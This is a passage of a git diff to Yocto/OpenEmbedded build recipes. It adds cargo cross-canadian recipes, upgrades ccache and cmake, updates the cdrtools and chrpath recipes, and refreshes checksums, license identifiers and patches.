+BASEDEPENDS:remove = "cargo-native"
+
+export RUST_TARGET_PATH="${WORKDIR}/targets/"
+
+RUSTLIB = " \
+ -L ${STAGING_DIR_NATIVE}/${SDKPATHNATIVE}/usr/lib/${TARGET_SYS}/rustlib/${HOST_SYS}/lib \
+"
+
+DEPENDS += "rust-native \
+ rust-cross-canadian-${TRANSLATED_TARGET_ARCH} \
+ virtual/nativesdk-${HOST_PREFIX}compilerlibs \
+ nativesdk-openssl nativesdk-zlib \
+ virtual/nativesdk-libc \
+"
+
+inherit cross-canadian
+
+PN = "cargo-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+
+LLVM_TARGET[x86_64] = "${RUST_HOST_SYS}"
+
+python do_rust_gen_targets () {
+ wd = d.getVar('WORKDIR') + '/targets/'
+
+ rust_gen_target(d, 'BUILD', wd, "", "generic", d.getVar('BUILD_ARCH'))
+ rust_gen_target(d, 'HOST', wd, "", "generic", d.getVar('HOST_ARCH'))
+}
+
+do_compile:prepend () {
+ PKG_CONFIG_PATH="${RECIPE_SYSROOT_NATIVE}/usr/lib/pkgconfig:${PKG_CONFIG_PATH}"
+}
+
+do_install () {
+ SYS_BINDIR=$(dirname ${D}${bindir})
+ install -d "${SYS_BINDIR}"
+ install -m 755 "${B}/target/${CARGO_TARGET_SUBDIR}/cargo" "${SYS_BINDIR}"
+ for i in ${SYS_BINDIR}/*; do
+ chrpath -r "\$ORIGIN/../lib" ${i}
+ done
+
+ ENV_SETUP_DIR=${D}${base_prefix}/environment-setup.d
+ mkdir "${ENV_SETUP_DIR}"
+ ENV_SETUP_SH="${ENV_SETUP_DIR}/cargo.sh"
+ cat <<- EOF > "${ENV_SETUP_SH}"
+ export CARGO_HOME="\$OECORE_TARGET_SYSROOT/home/cargo"
+ mkdir -p "\$CARGO_HOME"
+ # Init the default target once, it might be otherwise user modified.
+ if [ ! -f "\$CARGO_HOME/config" ]; then
+ touch "\$CARGO_HOME/config"
+ echo "[build]" >> "\$CARGO_HOME/config"
+ echo 'target = "'${TARGET_SYS}'"' >> "\$CARGO_HOME/config"
+ fi
+
+ # Keep the below off as long as HTTP/2 is disabled.
+ export CARGO_HTTP_MULTIPLEXING=false
+
+ export CARGO_HTTP_CAINFO="\$OECORE_NATIVE_SYSROOT/etc/ssl/certs/ca-certificates.crt"
+ EOF
+}
+
+PKG_SYS_BINDIR = "${SDKPATHNATIVE}/usr/bin"
+FILES:${PN} += "${base_prefix}/environment-setup.d ${PKG_SYS_BINDIR}"
+
diff --git a/meta/recipes-devtools/cargo/cargo-cross-canadian_1.59.0.bb b/meta/recipes-devtools/cargo/cargo-cross-canadian_1.59.0.bb
new file mode 100644
index 0000000000..63fd69107b
--- /dev/null
+++ b/meta/recipes-devtools/cargo/cargo-cross-canadian_1.59.0.bb
@@ -0,0 +1,6 @@
+require recipes-devtools/rust/rust-source.inc
+require recipes-devtools/rust/rust-snapshot.inc
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/cargo-${PV}:"
+
+require cargo-cross-canadian.inc
diff --git a/meta/recipes-devtools/cargo/cargo.inc b/meta/recipes-devtools/cargo/cargo.inc
new file mode 100644
index 0000000000..607c51fc3d
--- /dev/null
+++ b/meta/recipes-devtools/cargo/cargo.inc
@@ -0,0 +1,56 @@
+SUMMARY ?= "Cargo, a package manager for Rust."
+HOMEPAGE = "https://crates.io"
+LICENSE = "MIT | Apache-2.0"
+SECTION = "devel"
+
+DEPENDS = "openssl zlib curl ca-certificates libssh2"
+
+LIC_FILES_CHKSUM = " \
+ file://LICENSE-MIT;md5=b377b220f43d747efdec40d69fcaa69d \
+ file://LICENSE-APACHE;md5=71b224ca933f0676e26d5c2e2271331c \
+ file://LICENSE-THIRD-PARTY;md5=f257ad009884cb88a3a87d6920e7180a \
+"
+
+
+S = "${RUSTSRC}/src/tools/cargo"
+CARGO_VENDORING_DIRECTORY = "${RUSTSRC}/vendor"
+EXCLUDE_FROM_WORLD = "1"
+
+inherit cargo pkgconfig
+
+do_cargo_setup_snapshot () {
+ ${WORKDIR}/rust-snapshot-components/${CARGO_SNAPSHOT}/install.sh --prefix="${WORKDIR}/${CARGO_SNAPSHOT}" --disable-ldconfig
+ # Need to use uninative's loader if enabled/present since the library paths
+ # are used internally by rust and result in symbol mismatches if we don't
+ if [ ! -z "${UNINATIVE_LOADER}" -a -e "${UNINATIVE_LOADER}" ]; then
+ patchelf-uninative ${WORKDIR}/${CARGO_SNAPSHOT}/bin/cargo --set-interpreter ${UNINATIVE_LOADER}
+ fi
+}
+
+addtask cargo_setup_snapshot after do_unpack before do_configure
+do_cargo_setup_snapshot[dirs] += "${WORKDIR}/${CARGO_SNAPSHOT}"
+do_cargo_setup_snapshot[vardepsexclude] += "UNINATIVE_LOADER"
+
+
+do_compile:prepend () {
+ export RUSTC_BOOTSTRAP="1"
+}
+
+do_install () {
+ install -d "${D}${bindir}"
+ install -m 755 "${B}/target/${CARGO_TARGET_SUBDIR}/cargo" "${D}${bindir}"
+}
+
+# Disabled due to incompatibility with libgit2 0.28.x (https://github.com/rust-lang/git2-rs/issues/458, https://bugs.gentoo.org/707746#c1)
+# as shipped by Yocto Dunfell.
+# According to https://github.com/rust-lang/git2-rs/issues/458#issuecomment-522567539, there are no compatibility guarantees between
+# libgit2-sys and arbitrary system libgit2 versions, so better keep this turned off.
+#export LIBGIT2_SYS_USE_PKG_CONFIG = "1"
+
+# Needed for pkg-config to be used
+export LIBSSH2_SYS_USE_PKG_CONFIG = "1"
+
+# When building cargo-native we don't have cargo-native to use and depend on,
+# so we must use the locally set up snapshot to bootstrap the build.
+BASEDEPENDS:remove:class-native = "cargo-native"
+CARGO:class-native = "${WORKDIR}/${CARGO_SNAPSHOT}/bin/cargo"
diff --git a/meta/recipes-devtools/cargo/cargo_1.59.0.bb b/meta/recipes-devtools/cargo/cargo_1.59.0.bb
new file mode 100644
index 0000000000..eee58fc245
--- /dev/null
+++ b/meta/recipes-devtools/cargo/cargo_1.59.0.bb
@@ -0,0 +1,4 @@
+require recipes-devtools/rust/rust-source.inc
+require recipes-devtools/rust/rust-snapshot.inc
+require cargo.inc
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/ccache/ccache.inc b/meta/recipes-devtools/ccache/ccache.inc
deleted file mode 100644
index dcbbf0ca7a..0000000000
--- a/meta/recipes-devtools/ccache/ccache.inc
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "a fast C/C++ compiler cache"
-DESCRIPTION = "ccache is a compiler cache. It speeds up recompilation \
-by caching the result of previous compilations and detecting when the \
-same compilation is being done again. Supported languages are C, C\+\+, \
-Objective-C and Objective-C++."
-HOMEPAGE = "http://ccache.samba.org"
-SECTION = "devel"
-LICENSE = "GPLv3+"
-
-DEPENDS = "zlib"
-
-SRC_URI = "https://github.com/ccache/ccache/releases/download/v${PV}/${BP}.tar.gz"
-UPSTREAM_CHECK_URI = "https://github.com/ccache/ccache/releases/"
-
-inherit autotools
-
-# Remove ccache-native's dependencies, so that it can be used widely by
-# other native recipes.
-DEPENDS_class-native = ""
-EXTRA_OECONF_class-native = "--with-bundled-zlib"
-INHIBIT_AUTOTOOLS_DEPS_class-native = "1"
-PATCHTOOL = "patch"
-
-BBCLASSEXTEND = "native"
-
-do_configure_class-native() {
- oe_runconf
-}
diff --git a/meta/recipes-devtools/ccache/ccache_3.7.3.bb b/meta/recipes-devtools/ccache/ccache_3.7.3.bb
deleted file mode 100644
index c6a682ee0d..0000000000
--- a/meta/recipes-devtools/ccache/ccache_3.7.3.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require ccache.inc
-
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://LICENSE.adoc;md5=0094c59039cec66b8a4c905204333514"
-
-SRC_URI[md5sum] = "7be62ea6e190941a8c12a3d5394fd926"
-SRC_URI[sha256sum] = "355955a61562c53c4ec4669e1c92708b0008f50d214b27f07a87cf4a1fa6b01e"
diff --git a/meta/recipes-devtools/ccache/ccache_4.6.bb b/meta/recipes-devtools/ccache/ccache_4.6.bb
new file mode 100644
index 0000000000..f019679cf1
--- /dev/null
+++ b/meta/recipes-devtools/ccache/ccache_4.6.bb
@@ -0,0 +1,26 @@
+SUMMARY = "a fast C/C++ compiler cache"
+DESCRIPTION = "ccache is a compiler cache. It speeds up recompilation \
+by caching the result of previous compilations and detecting when the \
+same compilation is being done again. Supported languages are C, C\+\+, \
+Objective-C and Objective-C++."
+HOMEPAGE = "http://ccache.samba.org"
+SECTION = "devel"
+
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE.adoc;md5=ff5327dc93e2b286c931dda3d6079da9"
+
+DEPENDS = "zstd"
+
+SRC_URI = "https://github.com/ccache/ccache/releases/download/v${PV}/${BP}.tar.gz"
+SRC_URI[sha256sum] = "73a1767ac6b7c0404a1a55f761a746d338e702883c7137fbf587023062258625"
+
+UPSTREAM_CHECK_URI = "https://github.com/ccache/ccache/releases/"
+
+inherit cmake
+
+PATCHTOOL = "patch"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGECONFIG[docs] = "-DENABLE_DOCUMENTATION=ON,-DENABLE_DOCUMENTATION=OFF,asciidoc"
+PACKAGECONFIG[redis] = "-DREDIS_STORAGE_BACKEND=ON,-DREDIS_STORAGE_BACKEND=OFF,hiredis"
diff --git a/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb b/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
index 78e1565e47..757132eae6 100644
--- a/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
+++ b/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
@@ -3,12 +3,15 @@
# Released under the MIT license (see packages/COPYING)
SUMMARY = "A set of tools for CD recording, including cdrecord"
HOMEPAGE = "http://sourceforge.net/projects/cdrtools/"
+DESCRIPTION = "cdrecord tool is Highly portable CD/DVD/BluRay command line recording software."
SECTION = "console/utils"
-LICENSE = "GPLv2 & CDDL-1.0 & LGPLv2.1+"
+LICENSE = "GPL-2.0-only & CDDL-1.0 & LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=32f68170be424c2cd64804337726b312"
-SRC_URI = "${SOURCEFORGE_MIRROR}/project/cdrtools/cdrtools-${REALPV}.tar.bz2"
-UPSTREAM_VERSION_UNKNOWN = "1"
+SRC_URI = " \
+ ${SOURCEFORGE_MIRROR}/project/cdrtools/cdrtools-${PV}.tar.bz2 \
+ file://0001-Don-t-set-uid-gid-during-install.patch \
+ "
SRC_URI[md5sum] = "7d45c5b7e1f78d85d1583b361aee6e8b"
SRC_URI[sha256sum] = "ed282eb6276c4154ce6a0b5dee0bdb81940d0cbbfc7d03f769c4735ef5f5860f"
@@ -20,11 +23,6 @@ export ac_cv_prog_CC = "${CC}"
inherit native
-PV = "3.01a31+really3.01"
-REALPV = "3.01"
-
-S = "${WORKDIR}/${BPN}-${REALPV}"
-
do_install() {
make install GMAKE_NOWARN=true INS_BASE=${prefix} DESTDIR=${D}
}
diff --git a/meta/recipes-devtools/cdrtools/cdrtools/0001-Don-t-set-uid-gid-during-install.patch b/meta/recipes-devtools/cdrtools/cdrtools/0001-Don-t-set-uid-gid-during-install.patch
new file mode 100644
index 0000000000..9d38294b41
--- /dev/null
+++ b/meta/recipes-devtools/cdrtools/cdrtools/0001-Don-t-set-uid-gid-during-install.patch
@@ -0,0 +1,27 @@
+From 529cd5b007aa681c3ca14e5ab1e30469dd51646b Mon Sep 17 00:00:00 2001
+From: Paul Barker <paul@betafive.co.uk>
+Date: Tue, 12 Nov 2019 22:17:19 +0000
+Subject: [PATCH] Don't set uid/gid during install
+
+Signed-off-by: Paul Barker <paul@betafive.co.uk>
+Upstream-Status: Inappropriate [native]
+---
+ RULES/rules.prg | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/RULES/rules.prg b/RULES/rules.prg
+index 023555c..f70f1a7 100644
+--- a/RULES/rules.prg
++++ b/RULES/rules.prg
+@@ -94,7 +94,7 @@ INSGRP= $(__DEFINSGRP:$(_UNIQ)%=%)
+
+ LD= @echo " ==> LINKING \"$@\""; ld
+ LOCALIZE= @echo " ==> LOCALIZING \"$@\""; $(RM_F) $@; cp
+-INSTALL= @echo " ==> INSTALLING \"$@\""; sh $(SRCROOT)/conf/install-sh -c -m $(INSMODEINS) -o $(INSUSR) -g $(INSGRP)
++INSTALL= @echo " ==> INSTALLING \"$@\""; sh $(SRCROOT)/conf/install-sh -c -m $(INSMODEINS)
+ CHMOD= @echo " ==> SETTING PERMISSIONS ON \"$@\""; chmod
+ CHOWN= @echo " ==> SETTING OWNER ON \"$@\""; chown
+ CHGRP= @echo " ==> SETTING GROUP ON \"$@\""; chgrp
+--
+2.24.0
+
diff --git a/meta/recipes-devtools/chrpath/chrpath_0.16.bb b/meta/recipes-devtools/chrpath/chrpath_0.16.bb
index 8de8850576..d33c7837a1 100644
--- a/meta/recipes-devtools/chrpath/chrpath_0.16.bb
+++ b/meta/recipes-devtools/chrpath/chrpath_0.16.bb
@@ -2,9 +2,8 @@ SUMMARY = "Tool to edit rpath in ELF binaries"
DESCRIPTION = "chrpath allows you to change the rpath (where the \
application looks for libraries) in an application. It does not \
(yet) allow you to add an rpath if there isn't one already."
-HOMEPAGE = "http://alioth.debian.org/projects/chrpath/"
-BUGTRACKER = "http://alioth.debian.org/tracker/?atid=412807&group_id=31052"
-LICENSE = "GPLv2"
+HOMEPAGE = "https://tracker.debian.org/pkg/chrpath"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
SRC_URI = "${DEBIAN_MIRROR}/main/c/${BPN}/${BPN}_${PV}.orig.tar.gz \
@@ -17,9 +16,9 @@ inherit autotools
# We don't have a staged chrpath-native for ensuring our binary is
# relocatable, so use the one we've just built
-CHRPATH_BIN_class-native = "${B}/chrpath"
+CHRPATH_BIN:class-native = "${B}/chrpath"
-PROVIDES_append_class-native = " chrpath-replacement-native"
+PROVIDES:append:class-native = " chrpath-replacement-native"
NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/cmake/cmake-native_3.15.3.bb b/meta/recipes-devtools/cmake/cmake-native_3.15.3.bb
deleted file mode 100644
index b2952ee5f5..0000000000
--- a/meta/recipes-devtools/cmake/cmake-native_3.15.3.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-require cmake.inc
-inherit native
-
-DEPENDS += "bzip2-replacement-native expat-native xz-native zlib-native curl-native ncurses-native"
-
-SRC_URI += "file://OEToolchainConfig.cmake \
- file://environment.d-cmake.sh \
- file://0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch \
- file://0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch \
- "
-
-
-B = "${WORKDIR}/build"
-do_configure[cleandirs] = "${B}"
-
-CMAKE_EXTRACONF = "\
- -DCMAKE_LIBRARY_PATH=${STAGING_LIBDIR_NATIVE} \
- -DBUILD_CursesDialog=1 \
- -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
- -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBARCHIVE=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
- -DENABLE_ACL=0 -DHAVE_ACL_LIBACL_H=0 \
- -DHAVE_SYS_ACL_H=0 \
-"
-
-do_configure () {
- ${S}/configure --verbose --prefix=${prefix} \
- ${@oe.utils.parallel_make_argument(d, '--parallel=%d')} \
- ${@bb.utils.contains('CCACHE', 'ccache ', '--enable-ccache', '', d)} \
- -- ${CMAKE_EXTRACONF}
-}
-
-do_compile() {
- oe_runmake
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
-
- # The following codes are here because eSDK needs to provide compatibilty
- # for SDK. That is, eSDK could also be used like traditional SDK.
- mkdir -p ${D}${datadir}/cmake
- install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
- mkdir -p ${D}${base_prefix}/environment-setup.d
- install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${base_prefix}/environment-setup.d/cmake.sh
-}
-
-do_compile[progress] = "percent"
-
-SYSROOT_DIRS_NATIVE += "${datadir}/cmake ${base_prefix}/environment-setup.d"
diff --git a/meta/recipes-devtools/cmake/cmake-native_3.22.3.bb b/meta/recipes-devtools/cmake/cmake-native_3.22.3.bb
new file mode 100644
index 0000000000..8293fe5e56
--- /dev/null
+++ b/meta/recipes-devtools/cmake/cmake-native_3.22.3.bb
@@ -0,0 +1,56 @@
+require cmake.inc
+inherit native
+
+DEPENDS += "bzip2-replacement-native xz-native zlib-native curl-native ncurses-native zstd-native"
+
+SRC_URI += "file://OEToolchainConfig.cmake \
+ file://environment.d-cmake.sh \
+ file://0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch \
+ file://0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch \
+ "
+
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+CMAKE_EXTRACONF = "\
+ -DCMAKE_LIBRARY_PATH=${STAGING_LIBDIR_NATIVE} \
+ -DBUILD_CursesDialog=1 \
+ -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBARCHIVE=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_EXPAT=0 \
+ -DENABLE_ACL=0 -DHAVE_ACL_LIBACL_H=0 \
+ -DHAVE_SYS_ACL_H=0 \
+"
+
+do_configure () {
+ ${S}/configure --verbose --prefix=${prefix} \
+ ${@oe.utils.parallel_make_argument(d, '--parallel=%d')} \
+ ${@bb.utils.contains('CCACHE', 'ccache ', '--enable-ccache', '', d)} \
+ -- ${CMAKE_EXTRACONF}
+}
+
+do_compile() {
+ oe_runmake
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+
+ # The following codes are here because eSDK needs to provide compatibilty
+ # for SDK. That is, eSDK could also be used like traditional SDK.
+ mkdir -p ${D}${datadir}/cmake
+ install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
+ mkdir -p ${D}${base_prefix}/environment-setup.d
+ install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${base_prefix}/environment-setup.d/cmake.sh
+
+ # Help docs create tons of files in the native sysroot and aren't needed there
+ rm -rf ${D}${datadir}/cmake-*/Help
+}
+
+do_compile[progress] = "percent"
+
+SYSROOT_DIRS_NATIVE += "${datadir}/cmake ${base_prefix}/environment-setup.d"
diff --git a/meta/recipes-devtools/cmake/cmake.inc b/meta/recipes-devtools/cmake/cmake.inc
index d8a9e2dd3e..d500321138 100644
--- a/meta/recipes-devtools/cmake/cmake.inc
+++ b/meta/recipes-devtools/cmake/cmake.inc
@@ -10,19 +10,21 @@ HOMEPAGE = "http://www.cmake.org/"
BUGTRACKER = "http://public.kitware.com/Bug/my_view_page.php"
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://Copyright.txt;md5=622747147b46f22e1953876a7cba3323 \
- file://Source/cmake.h;md5=4494dee184212fc89c469c3acd555a14;beginline=1;endline=3 \
+LIC_FILES_CHKSUM = "file://Copyright.txt;md5=31023e1d3f51ca90a58f55bcee8e2339 \
+ file://Source/cmake.h;beginline=1;endline=2;md5=a5f70e1fef8614734eae0d62b4f5891b \
"
CMAKE_MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:2])}"
SRC_URI = "https://cmake.org/files/v${CMAKE_MAJOR_VERSION}/cmake-${PV}.tar.gz \
- file://0002-cmake-Prevent-the-detection-of-Qt5.patch \
file://0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch \
file://0004-Fail-silently-if-system-Qt-installation-is-broken.patch \
"
-SRC_URI[md5sum] = "bf69e837eeda3dd4e9f52cffcf546a11"
-SRC_URI[sha256sum] = "13958243a01365b05652fa01b21d40fa834f70a9e30efa69c02604e64f58b8f5"
+SRC_URI[sha256sum] = "9f8469166f94553b6978a16ee29227ec49a2eb5ceb608275dec40d8ae0d1b5a0"
UPSTREAM_CHECK_REGEX = "cmake-(?P<pver>\d+(\.\d+)+)\.tar"
+
+# This is specific to the npm package that installs cmake, so isn't
+# relevant to OpenEmbedded
+CVE_CHECK_IGNORE += "CVE-2016-10642"
diff --git a/meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch b/meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch
index 3720833d3e..9a2287f517 100644
--- a/meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch
+++ b/meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch
@@ -1,4 +1,4 @@
-From 1e67c3fe52c6c51c00cf1ebb0bfc30c7a5ef9fdb Mon Sep 17 00:00:00 2001
+From 89f6c846f02ad6d30b9ebb7eaaaa4fb6f9cec054 Mon Sep 17 00:00:00 2001
From: Cody P Schafer <dev@codyps.com>
Date: Thu, 27 Apr 2017 11:35:05 -0400
Subject: [PATCH] CMakeDetermineSystem: use oe environment vars to load default
@@ -25,10 +25,10 @@ Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
1 file changed, 7 insertions(+)
diff --git a/Modules/CMakeDetermineSystem.cmake b/Modules/CMakeDetermineSystem.cmake
-index dc208c6..e0af4ca 100644
+index 8c7af067..ade2b189 100644
--- a/Modules/CMakeDetermineSystem.cmake
+++ b/Modules/CMakeDetermineSystem.cmake
-@@ -81,6 +81,13 @@ else()
+@@ -112,6 +112,13 @@ else()
endif()
endif()
diff --git a/meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch b/meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch
deleted file mode 100644
index db229e63e2..0000000000
--- a/meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch
+++ /dev/null
@@ -1,122 +0,0 @@
-From 5cb6c86696f842274043e7d406f84b3ead1c36e0 Mon Sep 17 00:00:00 2001
-From: Otavio Salvador <otavio@ossystems.com.br>
-Date: Wed, 17 Jan 2018 10:02:14 -0200
-Subject: [PATCH] cmake: Prevent the detection of Qt5
-
-Organization: O.S. Systems Software LTDA.
-
-CMake doesn't have dependency on qt4/qt5, so these tests usually fail
-but still can cause undeterministic results or build failures (when
-OE_QMAKE_PATH_EXTERNAL_HOST_BINS is undefined or native qmake removed
-while running the test in cmake)
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
-
----
- Source/QtDialog/CMakeLists.txt | 2 +-
- Tests/CMakeLists.txt | 2 +-
- Tests/Qt4And5Automoc/CMakeLists.txt | 4 ++--
- Tests/QtAutogen/AutogenGuiTest.cmake | 3 +--
- Tests/QtAutogen/MacOsFW/CMakeLists.txt | 2 +-
- Tests/RunCMake/CMakeLists.txt | 2 +-
- Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake | 2 +-
- 7 files changed, 8 insertions(+), 9 deletions(-)
-
-diff --git a/Source/QtDialog/CMakeLists.txt b/Source/QtDialog/CMakeLists.txt
-index cb89d19..9e68981 100644
---- a/Source/QtDialog/CMakeLists.txt
-+++ b/Source/QtDialog/CMakeLists.txt
-@@ -3,7 +3,7 @@
-
- project(QtDialog)
- CMake_OPTIONAL_COMPONENT(cmake-gui)
--find_package(Qt5Widgets QUIET)
-+#find_package(Qt5Widgets QUIET)
- if (Qt5Widgets_FOUND)
- include_directories(${Qt5Widgets_INCLUDE_DIRS})
- add_definitions(${Qt5Widgets_DEFINITONS})
-diff --git a/Tests/CMakeLists.txt b/Tests/CMakeLists.txt
-index e73b277..91b8b67 100644
---- a/Tests/CMakeLists.txt
-+++ b/Tests/CMakeLists.txt
-@@ -1348,7 +1348,7 @@ ${CMake_SOURCE_DIR}/Utilities/Release/push.bash --dir dev -- '${CMake_BUILD_NIGH
- set(CMake_TEST_Qt5 1)
- endif()
- if(CMake_TEST_Qt5)
-- find_package(Qt5Widgets QUIET NO_MODULE)
-+ #find_package(Qt5Widgets QUIET NO_MODULE)
- endif()
- if(CMake_TEST_Qt5 AND Qt5Widgets_FOUND)
- add_subdirectory(Qt5Autogen)
-diff --git a/Tests/Qt4And5Automoc/CMakeLists.txt b/Tests/Qt4And5Automoc/CMakeLists.txt
-index ad74961..a9dd74b 100644
---- a/Tests/Qt4And5Automoc/CMakeLists.txt
-+++ b/Tests/Qt4And5Automoc/CMakeLists.txt
-@@ -3,11 +3,11 @@ cmake_minimum_required(VERSION 2.8.12)
- project(Qt4And5Automoc)
-
- if (QT_REVERSE_FIND_ORDER)
-- find_package(Qt5Core REQUIRED)
-+ #find_package(Qt5Core REQUIRED)
- find_package(Qt4 REQUIRED)
- else()
- find_package(Qt4 REQUIRED)
-- find_package(Qt5Core REQUIRED)
-+ #find_package(Qt5Core REQUIRED)
- endif()
-
- set(CMAKE_AUTOMOC ON)
-diff --git a/Tests/QtAutogen/AutogenGuiTest.cmake b/Tests/QtAutogen/AutogenGuiTest.cmake
-index b76d341..a6e0acb 100644
---- a/Tests/QtAutogen/AutogenGuiTest.cmake
-+++ b/Tests/QtAutogen/AutogenGuiTest.cmake
-@@ -22,8 +22,7 @@ if (QT_TEST_VERSION EQUAL 4)
- endmacro()
-
- elseif(QT_TEST_VERSION EQUAL 5)
--
-- find_package(Qt5Widgets REQUIRED)
-+ #find_package(Qt5Widgets REQUIRED)
-
- set(QT_QTCORE_TARGET Qt5::Core)
- set(QT_LIBRARIES Qt5::Widgets)
-diff --git a/Tests/QtAutogen/MacOsFW/CMakeLists.txt b/Tests/QtAutogen/MacOsFW/CMakeLists.txt
-index c08efc4..87e25d9 100644
---- a/Tests/QtAutogen/MacOsFW/CMakeLists.txt
-+++ b/Tests/QtAutogen/MacOsFW/CMakeLists.txt
-@@ -2,7 +2,7 @@ cmake_minimum_required(VERSION 3.10)
- project(MacOsFW)
- include("../AutogenGuiTest.cmake")
-
--find_package(Qt5Test REQUIRED)
-+#find_package(Qt5Test REQUIRED)
-
- set(CMAKE_CXX_STANDARD 11)
- set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/output/bin)
-diff --git a/Tests/RunCMake/CMakeLists.txt b/Tests/RunCMake/CMakeLists.txt
-index 69f8162..f389523 100644
---- a/Tests/RunCMake/CMakeLists.txt
-+++ b/Tests/RunCMake/CMakeLists.txt
-@@ -334,7 +334,7 @@ add_RunCMake_test(configure_file)
- add_RunCMake_test(CTestTimeoutAfterMatch)
-
- find_package(Qt4 QUIET)
--find_package(Qt5Core QUIET)
-+#find_package(Qt5Core QUIET)
- if (QT4_FOUND AND Qt5Core_FOUND AND NOT Qt5Core_VERSION VERSION_LESS 5.1.0)
- add_RunCMake_test(IncompatibleQt)
- endif()
-diff --git a/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake b/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake
-index 4fccdc4..b76e1e5 100644
---- a/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake
-+++ b/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake
-@@ -1,6 +1,6 @@
-
- find_package(Qt4 REQUIRED)
--find_package(Qt5Core REQUIRED)
-+#find_package(Qt5Core REQUIRED)
-
- add_executable(mainexe main.cpp)
- target_link_libraries(mainexe Qt4::QtCore Qt5::Core)
diff --git a/meta/recipes-devtools/cmake/cmake/0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch b/meta/recipes-devtools/cmake/cmake/0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch
index d7d87a5256..575a5cb7fb 100644
--- a/meta/recipes-devtools/cmake/cmake/0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch
+++ b/meta/recipes-devtools/cmake/cmake/0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch
@@ -1,4 +1,4 @@
-From b003857d3481105c473e2e75bad4e9e2c6e70004 Mon Sep 17 00:00:00 2001
+From 2d02ac91d5a5d72eaddba4894eaa6db3ed8fee62 Mon Sep 17 00:00:00 2001
From: Otavio Salvador <otavio@ossystems.com.br>
Date: Thu, 12 May 2011 15:36:03 +0000
Subject: [PATCH] cmake: support OpenEmbedded Qt4 tool binary names
@@ -25,7 +25,7 @@ Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/Modules/FindQt4.cmake b/Modules/FindQt4.cmake
-index a145b46..7e18243 100644
+index 3993968..b2a8585 100644
--- a/Modules/FindQt4.cmake
+++ b/Modules/FindQt4.cmake
@@ -518,7 +518,7 @@ endfunction()
diff --git a/meta/recipes-devtools/cmake/cmake/0004-Fail-silently-if-system-Qt-installation-is-broken.patch b/meta/recipes-devtools/cmake/cmake/0004-Fail-silently-if-system-Qt-installation-is-broken.patch
index 676e2857d7..1b196db81a 100644
--- a/meta/recipes-devtools/cmake/cmake/0004-Fail-silently-if-system-Qt-installation-is-broken.patch
